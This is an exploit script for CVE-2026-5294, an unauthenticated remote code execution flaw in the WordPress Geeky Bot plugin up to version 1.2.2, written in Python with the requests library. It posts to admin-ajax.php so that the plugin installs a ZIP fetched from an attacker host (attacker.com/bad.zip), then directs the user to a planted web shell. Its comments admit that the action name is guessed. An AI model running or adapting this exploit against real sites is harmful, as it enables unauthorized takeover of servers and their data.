CVE-2026-5294

import requests # Exploit Title: WordPress Geeky Bot Plugin <= 1.2.2 - Unauthenticated RCE # Date: 2026-05-05 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://downloads.wordpress.org/plugin/geeky-bot.1.2.2.zip # Version: <= 1.2.2 # Tested on: WordPress 6.x def exploit(target_url, malicious_zip_url): """ Exploit the missing authorization vulnerability to install a malicious plugin. """ # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload structure based on vulnerability description (model/function dispatch) # This simulates the 'nopriv' route that triggers the plugin installer helper payload = { 'action': 'geeky_bot_ajax_action', # Hypothetical action name based on plugin structure 'model': 'installer', # Target the installer helper 'function': 'install_plugin', # Function that handles download/unzip 'plugin_zip': malicious_zip_url # URL to the attacker-controlled ZIP file } try: print(f"[*] Sending payload to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if malicious plugin was installed.") print("[+] Try accessing: {}/wp-content/plugins/malicious-plugin/shell.php".format(target_url)) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL zip_url = "http://attacker.com/bad.zip" # Replace with URL to malicious ZIP exploit(target, zip_url)

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